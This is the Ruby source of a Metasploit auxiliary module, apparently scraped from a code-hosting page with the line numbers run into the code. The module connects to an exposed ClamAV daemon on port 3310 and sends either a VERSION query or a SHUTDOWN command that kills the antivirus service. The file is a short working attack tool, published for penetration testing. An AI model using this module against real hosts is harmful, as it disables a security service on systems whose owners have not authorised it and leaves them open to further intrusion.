Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/clamav_control.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8def initialize(info = {})9super(10update_info(11info,12'Name' => 'ClamAV Remote Command Transmitter',13'Description' => %q(14In certain configurations, ClamAV will bind to all addresses and listen for commands.15This module sends properly-formatted commands to the ClamAV daemon if it is in such a16configuration.17),18'Author' => [19'Alejandro Hdeza', # DISCOVER20'bwatters-r7', # MODULE21'wvu' # GUIDANCE22],23'License' => MSF_LICENSE,24'References' => [25[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],26[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]27],28'DisclosureDate' => '2016-06-08',29'Actions' => [30[ 'VERSION', 'Description' => 'Get Version Information' ],31[ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]32],33'DefaultAction' => 'VERSION'34)35)36register_options(37[38Opt::RPORT(3310)39], self.class40)41end4243def run_host(_ip)44begin45connect46sock.put(action.name + "\n")47print_good(sock.get_once)48rescue EOFError49print_good('Successfully shut down ClamAV Service')50ensure51disconnect52end53end54end555657